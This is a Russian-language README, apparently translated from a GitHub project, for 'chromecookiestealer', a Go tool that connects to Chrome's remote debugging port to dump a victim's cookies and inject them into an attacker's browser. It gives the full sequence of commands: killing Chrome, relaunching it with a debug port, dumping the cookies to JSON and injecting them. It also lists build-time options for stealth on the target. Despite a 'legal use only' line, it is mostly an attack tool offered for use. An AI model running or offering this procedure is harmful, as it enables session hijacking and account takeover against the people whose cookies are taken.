
Кража/внедрение куки Chrome через протокол DevTools (--remote-debugging-port).
Подключается к Chrome через его протокол Remote DevTools и крадёт/внедряет/очищает/удаляет куки.
Сильно вдохновлён WhiteChocolateMacademiaNut.
Куки сбрасываются как JSON-объекты, используя собственный формат Chrome. Тот же формат используется для загружаемых куки.
Только для легального использования.
Украдите куки жертвы:
git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
./chromecookiestealer -dump ./cookies.json
Внедрите в локальный браузер атакующего:
# Start Chrome with a debug port, as above.
./chromecookiestealer -clear -inject ./cookies.json
Usage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
Clear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
Параметры для удаляемых куки должны быть представлены в виде массива JSON-объектов со следующими строковыми полями:
name — Имя удаляемых куки. url — Если указано, удаляет все куки с заданным именем, где домен и путь соответствуют предоставленному URL. domain — Если указано, удаляет только куки с точным доменом. path — Если указано, удаляет только куки с точным путём.
Имена файлов также могут быть «-» для stdin/stdout.
go build должно быть достаточно. Следующие параметры могут быть заданы во время компиляции с помощью -ldflags '-X main.Foo=bar' для большей скрытности на целевой системе.
Ни одна из перечисленных переменных не задана по умолчанию.
Протокол Chrome DevTools — довольно подвижная цель. Возможно, потребуется использовать более новую версию библиотек chromedp и cdproto, если эта программа перестанет работать. Это можно сделать с помощью
go get -u -v all
go mod tidy
go build
что, скорее всего, может сломать всё остальное.
¯\_(ツ)_/¯
| Переменная |
|---|
| Описание |
|---|
| DumpFile | Имя файла для сброса куки. Подразумевает -dump |
| InjectFile | Имя файла для внедрения куки. Подразумевает -inject |
| DeleteFile | Имя файла с параметрами, описывающими удаляемые куки. Подразумевает -delete |
| DoClear | Если установлено в любое значение, подразумевает -clear |